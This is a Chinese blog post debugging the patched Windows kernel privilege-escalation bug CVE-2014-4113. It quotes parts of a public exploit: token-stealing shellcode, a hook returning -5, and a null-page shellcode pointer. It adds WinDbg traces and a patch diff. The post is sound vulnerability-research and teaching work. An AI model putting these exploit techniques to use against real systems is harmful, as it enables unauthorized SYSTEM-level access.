技术分享:经典内核漏洞调试笔记 内存漏洞利用缓解
yuyutoo 2024-10-22 18:36 5 浏览 0 评论
作者:k0pwn_ko
预估稿费:500RMB(不服你也来投稿啊!)
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
内核漏洞对我来说一直是一个坎,记得两年前,刚刚接触二进制漏洞的时候,当时今天的主角刚刚出现,当时调试这个漏洞的时候,整个内心都是崩溃的,最近我重温了一下这个漏洞,发现随着自己学习进步,对整个内核漏洞分析的过程也变的越来越清晰,而且在这个内核漏洞的调试过程中发现了一些很有意思的调试细节,因此想把自己的这个调试笔记分享出来,希望能和大家多多交流,也能有更多的进步。
今天的主角就是CVE-2014-4113,这个win32k.sys下的内核漏洞是一个非常经典的内核漏洞,它无论在Exploit利用,内核漏洞的形成原因,可以说是教科书式的,非常适合对内核漏洞感兴趣的小伙伴入门分析。
另一种方法定位漏洞
内核漏洞分析是一个比较复杂的过程,其实无论对于内核态漏洞还是软件态漏洞,都需要通过对补丁,或者PoC,或者Exploit进行阅读,通过对源码的分析可以了解到很多和漏洞有关的细节,所以这次我们也要阅读一下关于CVE-2014-4113的Exp,从中获取一些信息。
1 2 3 4 5 6 7 8 9 10 11 12 | LRESULT CALLBACK ShellCode(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { PEPROCESS pCur, pSys ; fpLookupProcessById((HANDLE)dwCurProcessId, &pCur); fpLookupProcessById((HANDLE)dwSystemProcessId, &pSys); #ifdef _WIN64 *(PVOID *)((ULONG_PTR)pCur + dwTokenOffset) = *(PVOID *)((ULONG_PTR)pSys + dwTokenOffset); #else *(PVOID *)((DWORD)pCur + dwTokenOffset) = *(PVOID *)((DWORD)pSys + dwTokenOffset); #endif return 0 ; } |
在源码分析过程中,我们关注Shellcode函数中的代码片段,可以看到Shellcode做了一件事情,就是针对32位系统和64位系统,会将当前系统的系统进程句柄psys,加上token的偏移赋值给当前用户进程的token,而这种手法也是现在Windows提权中一个非常好用的方法。
众所周知,Exploit一般不会影响软件或者系统的正常运行,而会执行Shellcode中的恶意代码,在我们没有PoC来引发软件或者系统异常的情况下,往往会通过Shellcode中的一些关键步骤的跟踪来接近漏洞的触发位置。
那么在这个过程中我们就用上面的Shellcode来跟踪这个漏洞。首先我们来说一下_EPROCESS结构体,这个结构体包含着当前进程的很多信息,这个过程我们可以通过!process 0 0的方法来得到。当然这个命令只有在内核态才能使用,我们通常通过Windbg远程调试的方法来完成。
可以看到,通过!process 0 0的方法获取到的system进程的句柄位置在0x867c6660,接下来我们来看一下我们执行的Exploit进程位置。
当前Exploit的地址是0x86116bb0,这两个地址就是_EPROCESS结构体的地址,下面我们来看一下这个结构体的内容。
可以看到,偏移+0x0c8位置存放的就是Token,而结合上面分析的Shellcode的内容,Token就是进行替换提权的关键位置。
实际上提权时,就是用0xe10007b3这个系统进程的Token,替换当前用户进程的0xe116438c这个Token,这也是下断点的一个重要依据,通过下条件断点,可以跟踪到当前进程句柄的变化情况。
1 | ba w1 86116c78 ".printf \"TOKEN CHANGE TO: [%08x]\\n\",poi(86116c78);.if(poi(86116c78)==0xe10007b3){;}.else{g;}" |
跟踪到00411f88位置的时候,程序中断,也是这时候当前进程句柄被替换,同时回溯到堆栈调用情况。
当前堆栈调用展示了整个内核漏洞发生问题的过程,我们需要关注这个回溯过程,在后面的分析中需要用到,也由此我们定位了漏洞触发的关键流程,为后续的分析提供了依据。
1 2 3 4 5 6 7 8 9 10 | kd> kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 9b5f7a24 81ff94f3 fffffffb 000001ed 014cfd14 0x1301448 9b5f7a64 81ff95c5 fffffffb 000001ed 014cfd14 win32k!xxxSendMessageTimeout+0x1ac 9b5f7a8c 820792fb fffffffb 000001ed 014cfd14 win32k!xxxSendMessage+0x28 9b5f7aec 82078c1f 9b5f7b0c 00000000 014cfd14 win32k!xxxHandleMenuMessages+0x582 9b5f7b38 8207f8f1 fdf37168 8215f580 00000000 win32k!xxxMNLoop+0x2c6 9b5f7ba0 8207f9dc 0000001c 00000000 ffffd8f0 win32k!xxxTrackPopupMenuEx+0x5cd 9b5f7c14 828791ea 004601b5 00000000 ffffd8f0 win32k!NtUserTrackPopupMenuEx+0xc3 |
在接下来的调试分析中,由于ASLR的关系,导致有些关键函数地址基址不太一样,不过不影响我们的调试。
一些有趣的调试细节
关于这个漏洞分析,其实网上有相当多非常详细的分析,这里我就不再做具体分析了,网上的方法多数都是通过Exploit正向分析,而通过Shellcode定位这种方法,可以用回溯的方法分析整个漏洞的形成过程,可能更加便捷,各有优劣。关于这个漏洞的分析,我不再详述,只是在调试过程中发现一些有趣的调试细节,想拿出来和大家一起分享。
首先我大概说一下这个漏洞的形成过程,在创建弹出菜单的时候会产生一个1EB的消息,因为SendMessage的异步调用,截断1EB消息,然后通过钩子销毁菜单,返回一个0xffffffb的方法,在随后的SendMessageTimeout函数中会调用这个返回值,作为函数调用,而在之前的if语句判断中没有对这个返回值进行有效的检查,当我们通过0页的分配,往0x5b地址位置存入Shellcode地址,这样就会在Ring0态执行应用层代码,导致提权。
那么在这个过程中,有一些有意思的地方,第一个是消息钩子截获1EB消息,并且返回0xfffffffb,第二个就是在SendMessageTimeout中在Ring0层执行应用层Shellcode代码的过程。
首先在调用xxxTrackPopupMenuEx的时候会销毁窗口,这个过程中会调用SendMessage,实际上,在SendMessage调用的时候,是分为同步和异步两种方式,两种方式的调用也有所不同,先看看同步,调用相对简单。
1 2 3 4 5 | SendMessage (同线程) SendMessageWorker UserCallWinProcCheckWow InternalCallWinProc WndProc |
但是当异步调用的时候,情况就相对复杂了,而我们的提权也正是利用了异步的方法,用消息钩子来完成的,首先来看看异步调用的情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | SendMessage (异线程) SendMessageWorker NtUserMessageCall (user mode/kernel mode切换) EnterCrit NtUserfnINSTRINGNULL (WM_SETTEXT) RtlInitLargeUnicodeString xxxWrapSendMessage (xParam = 0) xxxSendMessageTimeout (fuFlags = SMTO_NORMAL, uTimeout = 0, lpdwResult = NULL) ?? xxxReceiveMessage xxxSendMessageToClient sysexit (kernel mode进入user mode) ?? UserCallWinProcCheckWow InternalCallWinProc WndProc XyCallbackReturn int 2b (user mode返回kernel mode) |
这里有很关键的两处调用,一个在sysexit,在这个调用的时候,会从内核态进入用户态,也就是说在消息钩子执行的时候,通过这个调用会进入钩子的代码逻辑中,而当应用层代码逻辑执行结束后,会调用int 2b这个软中断,从用户态切换回内核态,这个过程就是通过消息钩子完成的,而正是利用这个钩子,在钩子中销毁窗口并且返回在整个提权过程中至关重要的0xfffffffb。
首先在HandleMenuMessages->MNFindWindowFromPoint之后会进入SendMessage中处理,这个时候通过安装的钩子会截获到1EB消息。
源码中钩子的部分。
1 2 3 4 5 6 7 8 9 10 11 12 | lpPrevWndFunc = (WNDPROC)SetWindowLongA( pWndProcArgs->hwnd, GWL_WNDPROC, (LONG)NewWndProc ) ; // LONG LRESULT CALLBACK NewWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { if(uMsg != 0x1EB) { return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam) ; } EndMenu() ; return (DWORD)(-5) ; // DWORD } |
来看一下动态调试的过程,通过之前对异步SendMessage函数的调用关系可以看到异步调用会进入SendMessageTimeout函数处理,跟入这个函数通过回溯看到函数调用关系。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | kd> p win32k!xxxSendMessageTimeout+0x8: 967e934f 56 push esi kd> p win32k!xxxSendMessageTimeout+0x9: 967e9350 57 push edi kd> p win32k!xxxSendMessageTimeout+0xa: 967e9351 8b7d20 mov edi,dword ptr [ebp+20h] kd> kb ChildEBP RetAddr Args to Child a216ca1c 967e95c5 fea0e878 000001eb a216ca98 win32k!xxxSendMessageTimeout+0xa a216ca44 968695f6 fea0e878 000001eb a216ca98 win32k!xxxSendMessage+0x28 a216ca90 96868e16 fde80a68 a216cafc 00000000 win32k!xxxMNFindWindowFromPoint+0x58 a216caec 96868c1f a216cb0c 9694f580 00000000 win32k!xxxHandleMenuMessages+0x9e |
随后我们单步跟踪,在SendMessageTimeout函数中找到调用SendMessageToClient函数。
1 2 3 4 5 6 | kd> p win32k!xxxSendMessageTimeout+0x1c9: 967e9510 56 push esi kd> p win32k!xxxSendMessageTimeout+0x1ca: 967e9511 e81aaaffff call win32k!xxxSendMessageToClient (967e3f30) |
通过IDA pro分析这个函数,在LABLE_16位置调用了一个叫sfn的函数,这个sfn的函数就是负责进入用户态的。
1 2 3 4 5 6 7 | LABEL_16: result = SfnDWORD(v17, v18, v19, (int)v20, v21, v22, v23, v24); int __stdcall SfnDWORD(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8) v9[53].Next[12].Next = v8; ms_exc.registration.TryLevel = -2; UserSessionSwitchLeaveCrit(); v27 = KeUserModeCallback(2, &v21, 24, &v28, &v29); |
当sysexit调用后,内核态和用户态进行了切换。进入用户态,应用层就是我们的钩子内容。
1 2 3 | kd> p Breakpoint 6 hit 001b:00f21600 55 push ebp |
实际上,这就是一个钩子之间的调用过程,也是提权漏洞利用过程中一个至关重要的环节。那么接下来,在钩子函数中,我们会利用EndMenu函数销毁窗口,并且返回0xfffffffb,这个过程在很多分析中都有了,下面我们来看看从用户态切换回内核态的过程。
首先销毁窗口后,0xfffffffb会交给eax寄存器,随后进入返回过程。
1 2 3 4 5 6 7 8 9 10 11 12 | kd> bp 00251631 kd> g Breakpoint 1 hit 001b:00251631 b8fbffffff mov eax,0FFFFFFFBh kd> kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 014cf5b4 769dc4e7 000e0240 000001eb 014cf6e4 0x251631 014cf5e0 769dc5e7 00251600 000e0240 000001eb user32!InternalCallWinProc+0x23 014cf658 769d4f0e 00000000 00251600 000e0240 user32!UserCallWinProcCheckWow+0x14b 014cf6b4 76a0f0a3 005be8b0 000001eb 014cf6e4 user32!DispatchClientMessage+0xda 014cf6dc 77106fee 014cf6f4 00000018 014cf7ec user32!__fnOUTDWORDINDWORD+0x2a |
我们在应用层通过回溯,可以看到回溯过程中的函数调用,这里单步调试,可以跟踪到连续向外层函数进行返回。也就是不停的执行pop,ret的过程,直到跟踪到user32!_fnOUTDOWRDINDWORD中,我们单步跟踪。
1 2 3 4 5 6 7 8 9 10 11 12 | kd> p user32!__fnOUTDWORDINDWORD+0x2e: 001b:76a0f0a7 5a pop edx kd> p user32!__fnOUTDWORDINDWORD+0x2f: 001b:76a0f0a8 8d4df4 lea ecx,[ebp-0Ch] kd> p user32!__fnOUTDWORDINDWORD+0x32: 001b:76a0f0ab 8945f4 mov dword ptr [ebp-0Ch],eax kd> p user32!__fnOUTDWORDINDWORD+0x35: 001b:76a0f0ae e86171fcff call user32!XyCallbackReturn (769d6214) |
在fnOUTDWORDINDWORD中,调用了XyCallbackReturn,再回头看之前关于SendMessage函数异步过程的描述,XyCallbackReturn正是从用户态切换回内核态一个关键函数调用,跟进这个函数,可以观察到调用了int 2B软中断,回归内核态
1 2 3 4 5 6 | kd> t user32!XyCallbackReturn: 001b:769d6214 8b442404 mov eax,dword ptr [esp+4] kd> p user32!XyCallbackReturn+0x4: 001b:769d6218 cd2b int 2Bh |
这个过程会携带钩子的返回结果,从而到后面执行shellcode,回归内核态之后,来看一下调用到shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | kd> g Breakpoint 4 hit win32k!xxxSendMessageTimeout+0x1a9: 967e94f0 ff5660 call dword ptr [esi+60h] kd> dd esi fffffffb ???????? ???????? fe9d3dd8 00000000 kd> dd esi+60 0000005b 00f61410 00000000 00000000 00000000 kd> t 00f61410 55 push ebp Executable search path is: ModLoad: 00f60000 00f67000 EoP.exe ModLoad: 770c0000 771fc000 ntdll.dll ModLoad: 76760000 76834000 C:\Windows\system32\kernel32.dll |
我们事先在0x5b地址位置分配了0页内存,然后往里存放了一shellcode的地址,这样call esi+60相当于call 0x5b,从而进入shellcode的内容。
其实在调试漏洞的过程中,钩子的调用是一个很有趣的过程,也是触发这个漏洞的关键,同样,不仅仅是CVE-2014-4113,在很多Windows提权漏洞的利用上,都用到了类似手法,比如CVE-2015-2546等等。
在文章一开始,我提到这个漏洞的关键原因是一处if语句判断不严谨导致的漏洞发生,当结束了这个有趣的调试细节之后,我将通过补丁对比,以及补丁前后的动态调试来看看这个漏洞的罪魁祸首是什么。
补丁对比与过程分析
我们安装CVE-2014-4113的补丁,可以看到,补丁后利用提权工具提权后,已经不能获得系统权限。
补丁前:
补丁后:
我们通过BinDiff来分析一下这个补丁前后发生了哪些变化,这时候我们需要通过文章最开始,我们在定位了提权发生的位置之后,通过堆栈回溯的过程看到的函数调用关系,来确定我们应该看看哪些函数发生了变化。
实际上补丁前后大多数函数变化都不大,但是看到xxxHandleMenuMessages中存在一些小变化,跟进这个函数查看对比。
注意对比图下方有一些跳转产生了变化,放大下面这个块的内容。
左侧黄块和这个漏洞无关,可以看到左侧是两个绿色块直接相连,表示直接跳转,而右侧补丁后,则在两个绿块之间增加了一个黄块,观察黄块,其中调用了一个IsMFMWFPWindow函数,这个函数可以通过IDA pro看到它的作用。实际上就是一个bool函数,用来限制0,-1和-5的情况,下面我们来动态调试分析。
1 2 3 4 | BOOL __stdcall IsMFMWFPWindow(int a1) { return a1 && a1 != -5 && a1 != -1; } |
首先是补丁前,会经过一系列的if判断,直接单步跟踪到最关键的一处if判断。
1 2 3 4 5 6 7 | if ( *(_BYTE *)v3 & 2 && v13 == -5 ) kd> p win32k!xxxHandleMenuMessages+0x54c: 968692c5 f60702 test byte ptr [edi],2 kd> p win32k!xxxHandleMenuMessages+0x54f: 968692c8 740e je win32k!xxxHandleMenuMessages+0x55f (968692d8) |
这个if判断其实是想处理0xfffffffb的情况的,也就是说,当v13的值等于-5,也就是0xfffffffb的时候,会进入if语句,而不会执行将-5传递到下面的SendMessage中,然而这个if语句中的是与运算,也就是说,当前面v3&2不成立的时候,就不会进入if语句了,而动态调试前面是不成立的,直接跳转到后面的if语句判断。
1 2 3 4 5 6 7 | if ( v13 == -1 ) kd> p win32k!xxxHandleMenuMessages+0x55f: 968692d8 83fbff cmp ebx,0FFFFFFFFh kd> p win32k!xxxHandleMenuMessages+0x562: 968692db 750e jne win32k!xxxHandleMenuMessages+0x572 (968692eb) |
这就导致了-5被传递到后面的SendMessage,从而导致了后面的代码执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | kd> p win32k!xxxHandleMenuMessages+0x572: 968692eb 6a00 push 0 kd> p win32k!xxxHandleMenuMessages+0x574: 968692ed ff7510 push dword ptr [ebp+10h] kd> p win32k!xxxHandleMenuMessages+0x577: 968692f0 68ed010000 push 1EDh kd> p win32k!xxxHandleMenuMessages+0x57c: 968692f5 53 push ebx kd> p win32k!xxxHandleMenuMessages+0x57d: 968692f6 e8a202f8ff call win32k!xxxSendMessage (967e959d) kd> dd esp 8b46fa94 fffffffb 000001ed 0091f92c 00000000 |
可以看到,当执行SendMessage的时候,第一个参数为0xfffffffb,后续会在SendMessageTimeOut中引发进入Shellcode,这个之前已经提到。
接下我们一起看一下补丁后的调试情况,补丁后,引入了IsMFMWFPWindow函数多做了一个if语句的判断。
1 2 3 4 5 6 7 8 9 | kd> r eax=00040025 ebx=fffffffb ecx=8a8d7a74 edx=8a8d7b74 esi=9765b880 edi=fe5ffa68 eip=9756bf10 esp=8a8d7aa0 ebp=8a8d7ae8 iopl=0 nv up ei ng nz ac pe cy cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000297 win32k!xxxHandleMenuMessages+0x570: 9756bf10 53 push ebx kd> p win32k!xxxHandleMenuMessages+0x571: 9756bf11 e889b90000 call win32k!IsMFMWFPWindow (9757789f) |
可以看到ebx作为参数传入IsMFMWFPWindow,ebx的值为0xfffffffb,而这个值是-5,判断肯定是不通过的,返回false。
1 2 3 4 5 6 7 8 9 | kd> p win32k!IsMFMWFPWindow+0xb: 975778aa 837d08fb cmp dword ptr [ebp+8],0FFFFFFFBh kd> p win32k!IsMFMWFPWindow+0xf: 975778ae 740b je win32k!IsMFMWFPWindow+0x1c (975778bb) kd> p win32k!IsMFMWFPWindow+0x1c: 975778bb 33c0 xor eax,eax |
可以看到ebp+8判断是否为false,这里是为false的,所以跳转,不执行SendMessage,这样漏洞就被修补了,我们最后来看一下补丁前后的伪代码。
补丁前:
1 2 3 4 5 6 7 8 9 10 11 12 | v13 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7); v52 = IsMFMWFPWindow(v13); ……//省略一部分代码 if ( *(_BYTE *)v3 & 2 && v13 == -5 )//key!这里第一个判断不通过 { xxxMNSwitchToAlternateMenu(v3); v13 = -1; } if ( v13 == -1 ) xxxMNButtonDown((PVOID)v3, v12, UnicodeString, 1); else xxxSendMessage((PVOID)v13, -19, UnicodeString, 0);//key! |
补丁后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | v29 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, (int)v7); v50 = IsMFMWFPWindow(v29); if ( v50 ) { …… } else { if ( !v29 && !UnicodeString && !(v30 & 0x200) )//了 { …… } …… if ( v29 == -1 ) goto LABEL_105; } if ( IsMFMWFPWindow(v29) )//Key!!!这里先调用了IsMFMWFPWindows做了一个判断,然后才send xxxSendMessage((PVOID)v29, -17, UnicodeString, Address); |
到此,这个内核漏洞解剖完毕,以前一直觉得内核漏洞很可怕,现在仔细分析之后,其实发现内核漏洞也是很有意思的,仿佛给我开了一扇新的大门,里面有很多有趣的东西值得去探索,分析的时候只要理清逻辑关系,其实会简单好多,文章中如有不当之处还请各位大牛斧正,多多交流,谢谢!
相关推荐
- 建筑福利-pdf转dwg格式转换器,再也不用描图-极客青年
-
作为一名经常熬夜画图的建筑狗或者cad用户,你体验过pdf图纸描图到cad吗?前几天一个老同学找我,说他的毕业设计需要我帮忙,发给我一份pdf图纸文件,问我怎么把pdf图纸转换成dwg格式。机智的我灵...
- 想学 HTML,不知从何入手?看完这篇文章你就知道了
-
很多人都说HTML是一门很简单的语言,看看书,看看视频就能读懂。但是,如果你完全没有接触过,就想通过看一遍教程,背背标签,想要完全了解HTML,真的有点太天真了。HTML中文...
- 「前端」HTML之结构
-
今天继续为大家分享前端的知识,如果对前端比较感兴趣的小伙伴,可以关注我,我会更大家继续分享更多与前端相关的内容,当然如果内容中又不当的或者文字错误的,欢迎大家在评论区留言,我会及时修改纠正。1.初识H...
- 手把手教你使用Python网络爬虫下载一本小说(附源码)
-
大家好,我是Python进阶者。前言前几天【磐奚鸟】大佬在群里分享了一个抓取小说的代码,感觉还是蛮不错的,这里分享给大家学习。...
- 用于处理pdf文件格式的转换器
-
在上传过程中如果单个文件太大则容易中断,而且文件太大的话对与存储也有些弊端。那么我们应该想到将文件进行压缩(注意这里压缩指的是不改变文件格式的压缩,而不是用变成压缩文件。这里就将以下用专门的软件压缩P...
- 乐书:在线 Kindle 电子书制作和转换工具
-
之前Kindle伴侣曾推荐过可以在Windows和Mac系统平台上运行的kindle电子书制作软件Sigil(教程),用它可以制作出高质量的的ePub格式电子书,当然最后还需要通...
- 付费文档怎么下载?教你5种方法,任意下载全网资源
-
网上查资料的时候,经常遇到需要注册登录或者付费的才能复制或者是下载,遇到这种情况大多数人都会选择重新查。...
- 捡来的知识!3种方法随便复制网页内容,白嫖真香呀
-
网上的资源真的多,所以许多人常常会从网上找资料。我们看到感兴趣的内容,第一时间可能会想要收入囊中。比如说截个图啊,或者挑选有意思的句子复制粘贴,记录下来。可是,有些时候,却会遇到这样的情况:1、内容不...
- AI的使用,生成HTML网页。
-
利用deepseek,豆包,kimi以及通义千问,写入相同的需求。【写一个网页,实现抽奖功能,点击“开始”,按键显示“停止”,姓名开始显示在屏幕上,人员包括:“张三”,“里斯”,“Bool”,“流水废...
- pdf转换成jpg转换器 4.1 官方正式版
-
pdf转换成jpg工具软件简介pdf转换成jpg转换器是一款界面简洁,操作方便的pdf转换成jpg转换器。pdf转换成jpg转换器可以将PDF文档转换为JPG,BMP,GIF,PNG,TIF图片文件。...
- 办公必备的office转换成pdf转换器怎么用?
-
2016-02-2415:53:37南方报道网评论(我要点评)字体刚从校园走出社会,对于快节奏的办公环境,难免会觉得有些吃力。在起步阶段力求将手头上的事情按时完工不出错,但是渐渐的你会发现,别人只...
- 为什么PDF转Word大多要收费?
-
PDF转Word大多都要收费?并非主要是因为技术上的难度,而是基于多方面的商业和版权考虑的,下面给大家浅分析下原因:...
- 如何用python生成简单的html report报告
-
前提:用python写了一个简单的log分析,主要也就是查询一些key,value出来,后面也可以根据需求增加。查询出来后,为了好看,搞个html表格来显示。需要的组件:jinja2flask...
- 学用系列|如何搞定word批量替换修改和格式转换?这里一站搞定
-
想必不少朋友都会碰到批量修改word文档内容、压缩文档图片、文件格式转换等重复性文档处理工作的需要,今天胖胖老师就推荐给大家一个免费工具XCLWinKits,一站搞定你所有的需要。什么是XCLWinK...
- 这款PDF文档转换神器,能帮你解决PDF使用中的许多难点
-
不管是平时的学习还是工作,相信许多朋友都经常接触PDF文件。可以说,PDF文件在我们的日常办公学习过程中的重要性和Word文档一样重要。在之前的更新中,小编介绍了几款非常不错的PDF文档格式转换软件,...
你 发表评论:
欢迎- 一周热门
-
-
前端面试:iframe 的优缺点? iframe有那些缺点
-
带斜线的表头制作好了,如何填充内容?这几种方法你更喜欢哪个?
-
漫学笔记之PHP.ini常用的配置信息
-
其实模版网站在开发工作中很重要,推荐几个参考站给大家
-
推荐7个模板代码和其他游戏源码下载的网址
-
[干货] JAVA - JVM - 2 内存两分 [干货]+java+-+jvm+-+2+内存两分吗
-
正在学习使用python搭建自动化测试框架?这个系统包你可能会用到
-
织梦(Dedecms)建站教程 织梦建站详细步骤
-
【开源分享】2024PHP在线客服系统源码(搭建教程+终身使用)
-
2024PHP在线客服系统源码+完全开源 带详细搭建教程
-
- 最近发表
- 标签列表
-
- mybatis plus (70)
- scheduledtask (71)
- css滚动条 (60)
- java学生成绩管理系统 (59)
- 结构体数组 (69)
- databasemetadata (64)
- javastatic (68)
- jsp实用教程 (53)
- fontawesome (57)
- widget开发 (57)
- vb net教程 (62)
- hibernate 教程 (63)
- case语句 (57)
- svn连接 (74)
- directoryindex (69)
- session timeout (58)
- textbox换行 (67)
- extension_dir (64)
- linearlayout (58)
- vba高级教程 (75)
- iframe用法 (58)
- sqlparameter (59)
- trim函数 (59)
- flex布局 (63)
- contextloaderlistener (56)